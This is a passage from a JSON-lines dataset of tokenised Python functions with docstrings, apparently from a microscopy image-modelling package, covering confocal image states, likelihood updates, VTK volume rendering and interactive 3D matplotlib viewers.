_sampledoc<EOL>self._dograddoc(self._grad_one_param)<EOL>self._dograddoc(self._hess_two_param)<EOL>self._dograddoc(self._grad)<EOL>self._dograddoc(self._hess)<EOL>class _Statewrap(object):<EOL><INDENT>def __init__(self, obj):<EOL><INDENT>self.obj = obj<EOL><DEDENT>def __getitem__(self, d=None):<EOL><INDENT>if d is None:<EOL><INDENT>d = self.obj.params<EOL><DEDENT>return util.delistify(self.obj.get_values(d), d)<EOL><DEDENT><DEDENT>self.state = _Statewrap(self)<EOL>", "docstring": "Here, we build gradient and hessian functions based on the properties\nof a state that are generally wanted. For each one, we fill in _grad or\n_hess with a function that takes care of various options such as\nslicing and flattening. For example, `m` below takes the model, selects\ndifferent indices from it, maybe flattens it and copies it. This is\nthen used in the fisherinformation, gradmodel, and hessmodel functions.", "id": "f5742:c1:m21"}
{"signature": "def crb(self, params=None, *args, **kwargs):", "body": "fish = self.fisherinformation(params=params, *args, **kwargs)<EOL>return np.sqrt(np.diag(np.linalg.inv(fish))) * self.sigma<EOL>", "docstring": "Calculate the diagonal elements of the minimum covariance of the model\nwith respect to parameters params. ``*args`` and ``**kwargs`` go to\n``fisherinformation``.", "id": "f5742:c1:m22"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "return self._data<EOL>", "docstring": "Get the raw data of the model fit", "id": "f5742:c2:m2"}
{"signature": "@property<EOL><INDENT>def model(self):<DEDENT>", "body": "return self._model<EOL>", "docstring": "Get the current model fit to the data", "id": "f5742:c2:m3"}
{"signature": "def __init__(self, image, comps, mdl=models.ConfocalImageModel(), sigma=<NUM_LIT>,<EOL>priors=None, pad=<NUM_LIT>, model_as_data=False):", "body": "self.dim = image.get_image().ndim<EOL>self.sigma = sigma<EOL>self.priors = priors<EOL>self.pad = util.aN(pad, dim=self.dim)<EOL>self.model_as_data = model_as_data<EOL>comp.ComponentCollection.__init__(self, comps=comps)<EOL>self.set_model(mdl=mdl)<EOL>self.set_image(image)<EOL>self.build_funcs()<EOL>if self.model_as_data:<EOL><INDENT>self.model_to_data(self.sigma)<EOL><DEDENT>", "docstring": "The state object to create a confocal image.  The model is that of\na spatially varying illumination field, from which platonic particle\nshapes are subtracted.  This is then spread with a point spread function\n(PSF).\n\nParameters\n-----------\nimage : :class:`peri.util.Image` object\n    The raw image with which to compare the model image from this\n    class.  This image should have been prepared through\n    prepare_for_state, which does things such as padding necessary for\n    this class. In the case of the RawImage, paths are used to keep\n    track of the image object to save on pickle size.\n\ncomp : list of :class:`peri.comp.comp.Component` or :class:`peri.comp.comp.ComponentCollection`\n    Components used to make up the model image. Each separate component\n    must be of a different category, otherwise combining them would be\n    ambiguous. If you desire multiple Components of one category,\n    combine them using a ComponentCollection (which has functions for\n    combining) and supply that to the comps list.\n\n    The component types must match the list of categories in the\n    ``ImageState.catmap`` which tells how components are matched to\n    parts of the model equation.\n\nmdl : :class:`peri.models.Model` object\n    Model defining how to combine different Components into a single\n    model.\n\npriors: list of ``peri.priors`` [default: ()]\n    Whether or not to turn on overlap priors using neighborlists\n\npad : integer or tuple of integers (optional)\n    No recommended to set by hand.  The padding level of the raw image\n    needed by the PSF support.\n\nmodel_as_data : boolean\n    Whether to use the model image as the true image after initializing", "id": "f5742:c3:m0"}
{"signature": "def set_model(self, mdl):", "body": "self.mdl = mdl<EOL>self.mdl.check_inputs(self.comps)<EOL>for c in self.comps:<EOL><INDENT>setattr(self, '<STR_LIT>'+c.category, c)<EOL><DEDENT>", "docstring": "Setup the image model formation equation and corresponding objects into\ntheir various objects. `mdl` is a `peri.models.Model` object", "id": "f5742:c3:m1"}
{"signature": "def set_image(self, image):", "body": "if isinstance(image, np.ndarray):<EOL><INDENT>image = util.Image(image)<EOL><DEDENT>if isinstance(image, util.NullImage):<EOL><INDENT>self.model_as_data = True<EOL><DEDENT>else:<EOL><INDENT>self.model_as_data = False<EOL><DEDENT>self.image = image<EOL>self._data = self.image.get_padded_image(self.pad)<EOL>self.oshape = util.Tile(self._data.shape)<EOL>self.ishape = self.oshape.pad(-self.pad)<EOL>self.inner = self.ishape.slicer<EOL>for c in self.comps:<EOL><INDENT>c.set_shape(self.oshape, self.ishape)<EOL><DEDENT>self._model = np.zeros(self._data.shape, dtype=np.float64)<EOL>self._residuals = np.zeros(self._data.shape, dtype=np.float64)<EOL>self.calculate_model()<EOL>", "docstring": "Update the current comparison (real) image", "id": "f5742:c3:m2"}
{"signature": "def model_to_data(self, sigma=<NUM_LIT:0.0>):", "body": "im = self.model.copy()<EOL>im += sigma*np.random.randn(*im.shape)<EOL>self.set_image(util.NullImage(image=im))<EOL>", "docstring": "Switch out the data for the model's recreation of the data.", "id": "f5742:c3:m4"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "return self._data[self.inner]<EOL>", "docstring": "Get the raw data of the model fit", "id": "f5742:c3:m7"}
{"signature": "@property<EOL><INDENT>def model(self):<DEDENT>", "body": "return self._model[self.inner]<EOL>", "docstring": "Get the current model fit to the data", "id": "f5742:c3:m8"}
{"signature": "def get_update_io_tiles(self, params, values):", "body": "<EOL>otile = self.get_update_tile(params, values)<EOL>if otile is None:<EOL><INDENT>return [None]*<NUM_LIT:3><EOL><DEDENT>ptile = self.get_padding_size(otile) or util.Tile(<NUM_LIT:0>, dim=otile.dim)<EOL>otile = util.Tile.intersection(otile, self.oshape)<EOL>if (otile.shape <= <NUM_LIT:0>).any():<EOL><INDENT>raise UpdateError(\"<STR_LIT>\")<EOL><DEDENT>if (ptile.shape < <NUM_LIT:0>).any() or (ptile.shape > self.oshape.shape).any():<EOL><INDENT>raise UpdateError(\"<STR_LIT>\")<EOL><DEDENT>outer = otile.pad((ptile.shape+<NUM_LIT:1>)//<NUM_LIT:2>)<EOL>inner, outer = outer.reflect_overhang(self.oshape)<EOL>iotile = inner.translate(-outer.l)<EOL>outer = util.Tile.intersection(outer, self.oshape)<EOL>inner = util.Tile.intersection(inner, self.oshape)<EOL>return outer, inner, iotile<EOL>", "docstring": "Get the tiles corresponding to a particular section of image needed to\nbe updated. Inputs are the parameters and values. Returned is the\npadded tile, inner tile, and slicer to go between, but accounting for\nwrap with the edge of the image as necessary.", "id": "f5742:c3:m11"}
{"signature": "def update(self, params, values):", "body": "<EOL>comps = self.affected_components(params)<EOL>if len(comps) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>otile, itile, iotile = self.get_update_io_tiles(params, values)<EOL>if otile is None:<EOL><INDENT>return False<EOL><DEDENT>self.set_tile(otile)<EOL>oldmodel = self._model[itile.slicer].copy()<EOL>if len(comps) == <NUM_LIT:1> and self.mdl.get_difference_model(comps[<NUM_LIT:0>].category):<EOL><INDENT>comp = comps[<NUM_LIT:0>]<EOL>model0 = copy.deepcopy(comp.get())<EOL>super(ImageState, self).update(params, values)<EOL>model1 = copy.deepcopy(comp.get())<EOL>diff = model1 - model0<EOL>diff = self.mdl.evaluate(<EOL>self.comps, '<STR_LIT>', diffmap={comp.category: diff}<EOL>)<EOL>if isinstance(model0, (float, int)):<EOL><INDENT>self._model[itile.slicer] += diff<EOL><DEDENT>else:<EOL><INDENT>self._model[itile.slicer] += diff[iotile.slicer]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>super(ImageState, self).update(params, values)<EOL>diff = self.mdl.evaluate(self.comps, '<STR_LIT>')<EOL>self._model[itile.slicer] = diff[iotile.slicer]<EOL><DEDENT>newmodel = self._model[itile.slicer].copy()<EOL>self.update_from_model_change(oldmodel, newmodel, itile)<EOL>return True<EOL>", "docstring": "Actually perform an image (etc) update based on a set of params and\nvalues. These parameter can be any present in the components in any\nnumber. If there is only one component affected then difference image\nupdates will be employed.", "id": "f5742:c3:m12"}
{"signature": "def get(self, name):", "body": "for c in self.comps:<EOL><INDENT>if c.category == name:<EOL><INDENT>return c<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return component by category name", "id": "f5742:c3:m13"}
{"signature": "def _calc_logprior(self):", "body": "return <NUM_LIT:0.><EOL>", "docstring": "Allows for fast local updates of log-priors", "id": "f5742:c3:m17"}
{"signature": "def _calc_loglikelihood(self, model=None, tile=None):", "body": "if model is None:<EOL><INDENT>res = self.residuals<EOL><DEDENT>else:<EOL><INDENT>res = model - self._data[tile.slicer]<EOL><DEDENT>sig, isig = self.sigma, <NUM_LIT:1.0>/self.sigma<EOL>nlogs = -np.log(np.sqrt(<NUM_LIT:2>*np.pi)*sig)*res.size<EOL>return -<NUM_LIT:0.5>*isig*isig*np.dot(res.flat, res.flat) + nlogs<EOL>", "docstring": "Allows for fast local updates of log-likelihood", "id": "f5742:c3:m18"}
{"signature": "def update_from_model_change(self, oldmodel, newmodel, tile):", "body": "self._loglikelihood -= self._calc_loglikelihood(oldmodel, tile=tile)<EOL>self._loglikelihood += self._calc_loglikelihood(newmodel, tile=tile)<EOL>self._residuals[tile.slicer] = self._data[tile.slicer] - newmodel<EOL>", "docstring": "Update various internal variables from a model update from oldmodel to\nnewmodel for the tile `tile`", "id": "f5742:c3:m20"}
{"signature": "def set_mem_level(self, mem_level='<STR_LIT>'):", "body": "<EOL>key = '<STR_LIT>'.join([c if c in '<STR_LIT>' else '<STR_LIT>' for c in mem_level])<EOL>if key not in ['<STR_LIT:h>','<STR_LIT>','<STR_LIT:m>','<STR_LIT>','<STR_LIT:m>', '<STR_LIT:l>']:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>mem_levels = {  '<STR_LIT:h>':     [np.float64, np.float64],<EOL>'<STR_LIT>': [np.float64, np.float32],<EOL>'<STR_LIT:m>':   [np.float32, np.float32],<EOL>'<STR_LIT>':  [np.float32, np.float16],<EOL>'<STR_LIT:l>':      [np.float16, np.float16]<EOL>}<EOL>hi_lvl, lo_lvl = mem_levels[key]<EOL>cat_lvls = {'<STR_LIT>':lo_lvl,<EOL>'<STR_LIT>':hi_lvl,<EOL>'<STR_LIT>':lo_lvl<EOL>}  <EOL>self.image.float_precision = hi_lvl<EOL>self.image.image = self.image.image.astype(lo_lvl)<EOL>self.set_image(self.image)<EOL>for cat in cat_lvls.keys():<EOL><INDENT>obj = self.get(cat)<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>for c in obj.comps:<EOL><INDENT>c.float_precision = lo_lvl<EOL><DEDENT><DEDENT>else:<EOL><INDENT>obj.float_precision = lo_lvl<EOL><DEDENT><DEDENT>self._model = self._model.astype(hi_lvl)<EOL>self._residuals = self._model.astype(hi_lvl)<EOL>self.reset()<EOL>", "docstring": "Sets the memory usage level of the state.\n\nParameters\n----------\nmem_level : string\n    Can be set to one of:\n        * hi      : all mem's are np.float64\n        * med-hi  : image, platonic are float32, rest are float64\n        * med     : all mem's are float32\n        * med-lo  : image, platonic are float16, rest float32\n        * lo      : all are float16, which is bad for accuracy.\n\nNotes\n-----\nRight now the PSF is not affected by the mem-level changes, which is\nOK for mem but it means that self._model, self._residuals are always\nfloat64, which can be a chunk of mem.", "id": "f5742:c3:m26"}
{"signature": "def norm(field, vmin=<NUM_LIT:0>, vmax=<NUM_LIT:255>):", "body": "field = <NUM_LIT:255>*np.clip(field, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>field = field.astype('<STR_LIT>')<EOL>return field<EOL>", "docstring": "Truncates field to 0,1; then normalizes to a uin8 on [0,255]", "id": "f5743:m0"}
{"signature": "def extract_field(state, field='<STR_LIT>'):", "body": "es, pp = field.split('<STR_LIT:->')  <EOL>if pp == '<STR_LIT>':<EOL><INDENT>o = state.get('<STR_LIT>')<EOL>if isinstance(o, peri.comp.comp.ComponentCollection):<EOL><INDENT>wts = <NUM_LIT:0>*o.get()[state.inner]<EOL>for c in o.comps:<EOL><INDENT>if isinstance(c, peri.comp.objs.PlatonicSpheresCollection):<EOL><INDENT>wts += c.get()[state.inner]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>wts = o.get()[state.inner]<EOL><DEDENT><DEDENT>elif pp == '<STR_LIT>':<EOL><INDENT>wts = state.get('<STR_LIT>').get()[state.inner]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if es == '<STR_LIT>':<EOL><INDENT>out = (<NUM_LIT:1>-state.data) * (wts > <NUM_LIT>)<EOL><DEDENT>elif es == '<STR_LIT>':<EOL><INDENT>out = wts<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return norm(clip(roll(out)))<EOL>", "docstring": "Given a state, extracts a field. Extracted value depends on the value\nof field:\n    'exp-particles' : The inverted data in the regions of the particles,\n            zeros otherwise -- i.e. particles + noise.\n    'exp-platonic'  : Same as above, but nonzero in the region of the\n            entire platonic image -- i.e. platonic + noise.\n    'sim-particles' : Just the particles image; no noise from the data.\n    'sim-platonic'  : Just the platonic image; no noise from the data.", "id": "f5743:m3"}
{"signature": "def volume_render(field, outfile, maxopacity=<NUM_LIT:1.0>, cmap='<STR_LIT>',<EOL>size=<NUM_LIT>, elevation=<NUM_LIT>, azimuth=<NUM_LIT>, bkg=(<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>opacitycut=<NUM_LIT>, offscreen=False, rayfunction='<STR_LIT>'):", "body": "sh = field.shape<EOL>dataImporter = vtk.vtkImageImport()<EOL>dataImporter.SetDataScalarTypeToUnsignedChar()<EOL>data_string = field.tostring()<EOL>dataImporter.SetNumberOfScalarComponents(<NUM_LIT:1>)<EOL>dataImporter.CopyImportVoidPointer(data_string, len(data_string))<EOL>dataImporter.SetDataExtent(<NUM_LIT:0>, sh[<NUM_LIT:2>]-<NUM_LIT:1>, <NUM_LIT:0>, sh[<NUM_LIT:1>]-<NUM_LIT:1>, <NUM_LIT:0>, sh[<NUM_LIT:0>]-<NUM_LIT:1>)<EOL>dataImporter.SetWholeExtent(<NUM_LIT:0>, sh[<NUM_LIT:2>]-<NUM_LIT:1>, <NUM_LIT:0>, sh[<NUM_LIT:1>]-<NUM_LIT:1>, <NUM_LIT:0>, sh[<NUM_LIT:0>]-<NUM_LIT:1>)<EOL>alphaChannelFunc = vtk.vtkPiecewiseFunction()<EOL>alphaChannelFunc.AddPoint(<NUM_LIT:0>, <NUM_LIT:0.0>)<EOL>alphaChannelFunc.AddPoint(int(<NUM_LIT:255>*opacitycut), maxopacity)<EOL>volumeProperty = vtk.vtkVolumeProperty()<EOL>colorFunc = cmap2colorfunc(cmap)<EOL>volumeProperty.SetColor(colorFunc)<EOL>volumeProperty.SetScalarOpacity(alphaChannelFunc)<EOL>volumeMapper = vtk.vtkVolumeRayCastMapper()<EOL>if rayfunction == '<STR_LIT>':<EOL><INDENT>comp = vtk.vtkVolumeRayCastMIPFunction()<EOL>comp.SetMaximizeMethodToOpacity()<EOL><DEDENT>elif rayfunction == '<STR_LIT>':<EOL><INDENT>comp = vtk.vtkVolumeRayCastCompositeFunction()<EOL><DEDENT>elif rayfunction == '<STR_LIT>':<EOL><INDENT>comp = vtk.vtkVolumeRayCastIsosurfaceFunction()<EOL>comp.SetIsoValue(maxopacity/<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>comp = vtk.vtkVolumeRayCastIsosurfaceFunction()<EOL><DEDENT>volumeMapper.SetSampleDistance(<NUM_LIT:0.1>)<EOL>volumeMapper.SetVolumeRayCastFunction(comp)<EOL>if rayfunction == '<STR_LIT>':<EOL><INDENT>volumeMapper = vtk.vtkSmartVolumeMapper()<EOL><DEDENT>volumeMapper.SetInputConnection(dataImporter.GetOutputPort())<EOL>volume = vtk.vtkVolume()<EOL>volume.SetMapper(volumeMapper)<EOL>volume.SetProperty(volumeProperty)<EOL>light = vtk.vtkLight()<EOL>light.SetLightType(vtk.VTK_LIGHT_TYPE_HEADLIGHT)<EOL>light.SetIntensity(<NUM_LIT>)<EOL>light.SwitchOn()<EOL>renderer = vtk.vtkRenderer()<EOL>renderWin = vtk.vtkRenderWindow()<EOL>renderWin.AddRenderer(renderer)<EOL>renderWin.SetOffScreenRendering(<NUM_LIT:1>);<EOL>if not hasattr(size, '<STR_LIT>'):<EOL><INDENT>size = (size, size)<EOL><DEDENT>renderer.AddVolume(volume)<EOL>renderer.AddLight(light)<EOL>renderer.SetBackground(*bkg)<EOL>renderWin.SetSize(*size)<EOL>if offscreen:<EOL><INDENT>renderWin.SetOffScreenRendering(<NUM_LIT:1>)<EOL><DEDENT>def exitCheck(obj, event):<EOL><INDENT>if obj.GetEventPending() != <NUM_LIT:0>:<EOL><INDENT>obj.SetAbortRender(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>renderWin.AddObserver(\"<STR_LIT>\", exitCheck)<EOL>renderInteractor = vtk.vtkRenderWindowInteractor()<EOL>renderInteractor.Initialize()<EOL>renderWin.Render()<EOL>renderInteractor.Start()<EOL>writer = vtk.vtkPNGWriter()<EOL>w2i = vtk.vtkWindowToImageFilter()<EOL>w2i.SetInput(renderWin)<EOL>writer.SetInputConnection(w2i.GetOutputPort())<EOL>renderWin.Render()<EOL>ac = renderer.GetActiveCamera()<EOL>ac.Elevation(elevation)<EOL>ac.Azimuth(azimuth)<EOL>renderer.ResetCameraClippingRange()<EOL>renderWin.Render()<EOL>w2i.Modified()<EOL>writer.SetFileName(outfile)<EOL>writer.Write()<EOL>", "docstring": "Uses vtk to make render an image of a field, with control over the\ncamera angle and colormap.\n\nInput Parameters\n----------------\n    field : np.ndarray\n        3D array of the field to render.\n    outfile : string\n        The save name of the image.\n    maxopacity : Float\n        Default is 1.0\n    cmap : matplotlib colormap string\n        Passed to cmap2colorfunc. Default is bone.\n    size : 2-element list-like of ints or Int\n        The size of the final rendered image.\n    elevation : Numeric\n        The elevation of the camera angle, in degrees. Default is 45\n    azimuth : Numeric\n        The azimuth of the camera angle, in degrees. Default is 45\n    bkg : Tuple of floats\n        3-element tuple of floats on [0,1] of the background image color.\n        Default is (0., 0., 0.).", "id": "f5743:m5"}
{"signature": "def make_clean_figure(figsize, remove_tooltips=False, remove_keybindings=False):", "body": "tooltip = mpl.rcParams['<STR_LIT>']<EOL>if remove_tooltips:<EOL><INDENT>mpl.rcParams['<STR_LIT>'] = '<STR_LIT:None>'<EOL><DEDENT>fig = pl.figure(figsize=figsize)<EOL>mpl.rcParams['<STR_LIT>'] = tooltip<EOL>if remove_keybindings:<EOL><INDENT>fig.canvas.mpl_disconnect(fig.canvas.manager.key_press_handler_id)<EOL><DEDENT>return fig<EOL>", "docstring": "Makes a `matplotlib.pyplot.Figure` without tooltips or keybindings\n\nParameters\n----------\nfigsize : tuple\n    Figsize as passed to `matplotlib.pyplot.figure`\nremove_tooltips, remove_keybindings : bool\n    Set to True to remove the tooltips bar or any key bindings,\n    respectively. Default is False\n\nReturns\n-------\nfig : `matplotlib.pyplot.Figure`", "id": "f5744:m0"}
{"signature": "def __init__(self, state, size=<NUM_LIT:8>, cmap_abs='<STR_LIT>', cmap_diff='<STR_LIT>',<EOL>incsize=<NUM_LIT>, orientation=None, vrange_img=<NUM_LIT:1.0>, vrange_diff=<NUM_LIT:0.1>):", "body": "self.incsize = incsize<EOL>self.modes = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>self.mode = self.modes[<NUM_LIT:0>]<EOL>self.insets = ['<STR_LIT>']<EOL>self.inset = '<STR_LIT:none>'<EOL>self.views = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>self.view = self.views[<NUM_LIT:0>]<EOL>self.modifiers = ['<STR_LIT:none>', '<STR_LIT>']<EOL>self.modifier = self.modifiers[<NUM_LIT:0>]<EOL>self.components = [<EOL>c.category for c in state.comps if isinstance(c.get(), np.ndarray)<EOL>]<EOL>self.component = self.components[<NUM_LIT:0>]<EOL>self.state = state<EOL>self.cmap_abs = cmap_abs<EOL>self.cmap_diff = cmap_diff<EOL>self.vrange_img = vrange_img<EOL>self.vrange_diff = vrange_diff<EOL>self.state.set_tile(self.state.oshape)<EOL>z,y,x = [float(i) for i in self.state.data.shape]<EOL>w = float(x + z)<EOL>h = float(y + z)<EOL>orientation = orientation or ('<STR_LIT>' if w/h < <NUM_LIT> else '<STR_LIT>')<EOL>if orientation == '<STR_LIT>' or orientation == '<STR_LIT:h>':<EOL><INDENT>self.fig = make_clean_figure(figsize=(<NUM_LIT:2>*size*w/h, size),<EOL>remove_keybindings=True)<EOL>Sx, Sy, xoff, yoff = <NUM_LIT:0.5>, <NUM_LIT:1.0>, <NUM_LIT:0.5>, <NUM_LIT:0.0><EOL><DEDENT>elif orientation == '<STR_LIT>' or orientation == '<STR_LIT:v>':<EOL><INDENT>self.fig = make_clean_figure(figsize=(<NUM_LIT:2>*size*w/h, size),<EOL>remove_keybindings=True)<EOL>Sx, Sy, xoff, yoff = <NUM_LIT:1.0>, <NUM_LIT:0.5>, <NUM_LIT:0.0>, <NUM_LIT:0.5><EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>self.gl = {}<EOL>self.gl['<STR_LIT>'] = self.fig.add_axes((Sx*<NUM_LIT:0.0>, yoff+Sy*(<NUM_LIT:1>-y/h), Sx*x/w,     Sy*y/h))<EOL>self.gl['<STR_LIT>'] = self.fig.add_axes((Sx*<NUM_LIT:0.0>, yoff+Sy*<NUM_LIT:0.0>,     Sx*x/w,     Sy*(<NUM_LIT:1>-y/h)))<EOL>self.gl['<STR_LIT>'] = self.fig.add_axes((Sx*x/w, yoff+Sy*(<NUM_LIT:1>-y/h), Sx*(<NUM_LIT:1>-x/w), Sy*y/h))<EOL>self.gl['<STR_LIT>'] = self.fig.add_axes((Sx*x/w, yoff+Sy*<NUM_LIT:0.0>,     Sx*(<NUM_LIT:1>-x/w), Sy*(<NUM_LIT:1>-y/h)))<EOL>self.gr = {}<EOL>self.gr['<STR_LIT>'] = self.fig.add_axes((xoff+Sx*<NUM_LIT:0.0>, Sy*(<NUM_LIT:1>-y/h), Sx*x/w,     Sy*y/h))<EOL>self.gr['<STR_LIT>'] = self.fig.add_axes((xoff+Sx*<NUM_LIT:0.0>, Sy*<NUM_LIT:0.0>,     Sx*x/w,     Sy*(<NUM_LIT:1>-y/h)))<EOL>self.gr['<STR_LIT>'] = self.fig.add_axes((xoff+Sx*x/w, Sy*(<NUM_LIT:1>-y/h), Sx*(<NUM_LIT:1>-x/w), Sy*y/h))<EOL>self.gr['<STR_LIT>'] = self.fig.add_axes((xoff+Sx*x/w, Sy*<NUM_LIT:0.0>,     Sx*(<NUM_LIT:1>-x/w), Sy*(<NUM_LIT:1>-y/h)))<EOL>self.slices = (np.array(self.state.data.shape)/<NUM_LIT:2>).astype('<STR_LIT:int>')<EOL>self._grab = None<EOL>self.set_field()<EOL>self.draw()<EOL>self.register_events()<EOL>", "docstring": "An interactive viewer for states for a model in 3D. Can work with\nany 3D state with a set of components. This viewer relies heavily on\nhotkeys. The various modes that can be accessed are by pressing\nthese keys:\n\n    'Q' : switch between 'model', 'residual', and 'component' views\n    'A' : add particle mode (click position to add)\n    'R' : remove particle mode (click position to remove)\n    'E' : optimize particle (click particle to optimize)\n    'W' : switch to fourier views\n    'V' : switch to view mode (click window to move view)\n    'C' : If in 'component' views, cycles through components\n\nParameters:\n-----------\nstate : `peri.states.State` object\n    The state object to look at\n\nsize : float\n    Relative window size, this is based on matplotlib.figure(figsize)\n    and has some units which I don't understand.\n\ncmap_abs : string\n    Colormap to use for the one sided scales such as data and model\n\ncmap_dff : string\n    Colormap to use for difference images, such as residuals\n\norientation : one of ['h', 'v', 'horizontal', 'vertical']\n    The orientation of the two views\n\nvrange_img : float\n    vmax for imshow for absolute images\n\nvrange_diff : float\n    vmax - vmin for imshow for difference images", "id": "f5744:c0:m0"}
{"signature": "def __init__(self, field, onesided=True, vmin=None, vmax=None, cmap=None,<EOL>dohist=False, fourier=False, tooltips=False, size=<NUM_LIT:8>):", "body": "self.vmin = vmin<EOL>self.vmax = vmax<EOL>self.field = field<EOL>self.onesided = onesided<EOL>self.dohist = dohist<EOL>self.fourier = fourier<EOL>if cmap is not None:<EOL><INDENT>self.cmap = cmap<EOL><DEDENT>else:<EOL><INDENT>self.cmap = '<STR_LIT>' if self.onesided else '<STR_LIT>'<EOL><DEDENT>z,y,x = [float(i) for i in self.field.shape]<EOL>w = float(x + z)<EOL>h = float(y + z)<EOL>self.fig = make_clean_figure(<EOL>figsize=(size * w/h, size), remove_tooltips=not tooltips,<EOL>remove_keybindings=True)<EOL>self.g = {}<EOL>self.g['<STR_LIT>'] = self.fig.add_axes((<NUM_LIT:0.0>, <NUM_LIT:1>-y/h, x/w,   y/h))<EOL>self.g['<STR_LIT>'] = self.fig.add_axes((<NUM_LIT:0.0>, <NUM_LIT:0.0>,   x/w,   <NUM_LIT:1>-y/h))<EOL>self.g['<STR_LIT>'] = self.fig.add_axes((x/w, <NUM_LIT:1>-y/h, <NUM_LIT:1>-x/w, y/h))<EOL>self.g['<STR_LIT>'] = self.fig.add_axes((x/w, <NUM_LIT:0.0>,   <NUM_LIT:1>-x/w, <NUM_LIT:1>-y/h))<EOL>self.slices = (np.array(self.field.shape)/<NUM_LIT:2>).astype('<STR_LIT:int>')<EOL>if self.fourier:<EOL><INDENT>self.field = np.fft.fftshift(np.fft.fftn(self.field))<EOL><DEDENT>self.draw()<EOL>self.register_events()<EOL>", "docstring": "Easy interactive viewing of 3D ndarray with view selection.\n\nNavigate in 3D by clicking on the three panels which are slices\nthrough the array at a given position.\n\nParameters\n----------\nfield : np.ndarray\n    The field to view\nonesided : bool, optional\n    Whether to use the default one-sided or two-sided colormap.\n    Over-ridden by cmap. Default is True\nvmin, vmax : numeric, optional\n    The min, max colorbar range, as passed to the matplotlib\n    colormap. Default is the (min, max) of the data.\ncmap : {None, valid matplotlib colormap}, optional\n    Use to directly a specific colormap, e.g. `'bone'`. If None\n    selects `'bone' if onesided else 'RdBu'`. Default is None\ndohist : bool, optional\n    Set to True to include a histogram of `field` in an\n    additional panel. Default is False\nfourier : bool, optional\n    Set to True to view the Fourier transform of field. Default\n    is False\ntooltips : bool, optional\n    Whether to include the tooltips bar on the figure. Default\n    is False\nsize : numeric, optional\n    The rough figure size of the viewer; the actual size is re-\n    scaled based on the field's size. Default is 8", "id": "f5744:c1:m0"}
{"signature": "def __init__(self, image, pos, viewrad=None, cmap='<STR_LIT>', part_col=<EOL>[<NUM_LIT:0.>, <NUM_LIT:1.>, <NUM_LIT:1.>, <NUM_LIT:1.>], **kwargs):", "body": "<EOL>self.image = image.copy()<EOL>self.pos = pos<EOL>if viewrad is None:<EOL><INDENT>self.viewrad = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>self.viewrad = viewrad<EOL><DEDENT>self.mode = '<STR_LIT>'<EOL>super(OrthoPrefeature, self).__init__(image, cmap=cmap, **kwargs)<EOL>if self.vmin is None:<EOL><INDENT>self.vmin = image.min()<EOL><DEDENT>if self.vmax is None:<EOL><INDENT>self.vmax = image.max()<EOL><DEDENT>if type(self.cmap) == str:<EOL><INDENT>self._cmap = mpl.cm.get_cmap(self.cmap)<EOL><DEDENT>else:  <EOL><INDENT>self._cmap = self.cmap<EOL><DEDENT>self.particle_field = np.zeros(image.shape, dtype='<STR_LIT:float>')<EOL>self.part_col = part_col<EOL>self._draw_im()<EOL>self.update_particle_field(poses=None)<EOL>self.update_field()<EOL>self.draw()<EOL>", "docstring": "Interactive viewing of a 3D featured image, to examine the quality of\ninitial featuring.\n\nThere are 3 modes of the viewer, accessed by pressing these keys:\n * 'V' : switch to view mode (click window to move view)\n * 'A' : add particle mode (click position to add)\n * 'R' : remove particle mode (click position to remove)\nThe viewer starts in view mode.\nThe complete list of particle positions is stored in ``self.pos``\n\nParameters\n----------\nim : numpy.ndarray\n    The image to check pre-featuring on.\npos : [N,3] numpy.ndarray\n    The initial guess for the particle positions, in pixel units\nviewrad : Float or None, optional.\n    The width of the particles to plot. Default is 2.\ncmap : String, optional\n    A valid matplotlib colormap. Default is `'Greys_r'`.s\npart_col : list-like, optional\n    Color of the particles.... RGBA. Default is cyan.\n**kwargs : All keyword args to OrthoViewer....", "id": "f5744:c2:m0"}
{"signature": "def _particle_func(self, coords, pos, wid):", "body": "dx, dy, dz = [c - p for c,p in zip(coords, pos)]<EOL>dr2 = dx*dx + dy*dy + dz*dz<EOL>return np.exp(-dr2/(<NUM_LIT:2>*wid*wid))<EOL>", "docstring": "Draws a gaussian, range is (0,1]. Coords = [3,n]", "id": "f5744:c2:m2"}
{"signature": "def update_field(self, poses=None):", "body": "m = np.clip(self.particle_field, <NUM_LIT:0>, <NUM_LIT:1>)<EOL>part_color = np.zeros(self._image.shape)<EOL>for a in range(<NUM_LIT:4>): part_color[:,:,:,a] = self.part_col[a]<EOL>self.field = np.zeros(self._image.shape)<EOL>for a in range(<NUM_LIT:4>):<EOL><INDENT>self.field[:,:,:,a] = m*part_color[:,:,:,a] + (<NUM_LIT:1>-m) * self._image[:,:,:,a]<EOL><DEDENT>", "docstring": "updates self.field", "id": "f5744:c2:m4"}
{"signature": "def _remove_closest_particle(self, p):", "body": "<EOL>dp = self.pos - p<EOL>dist2 = (dp*dp).sum(axis=<NUM_LIT:1>)<EOL>ind = dist2.argmin()<EOL>rp = self.pos[ind].copy()<EOL>self.pos = np.delete(self.pos, ind, axis=<NUM_LIT:0>)<EOL>return rp<EOL>", "docstring": "removes the closest particle in self.pos to ``p``", "id": "f5744:c2:m10"}
{"signature": "def lbl(axis, label, size=<NUM_LIT>):", "body": "at = AnchoredText(label, loc=<NUM_LIT:2>, prop=dict(size=size), frameon=True)<EOL>at.patch.set_boxstyle(\"<STR_LIT>\")<EOL>axis.add_artist(at)<EOL>", "docstring": "Put a figure label in an axis", "id": "f5746:m0"}
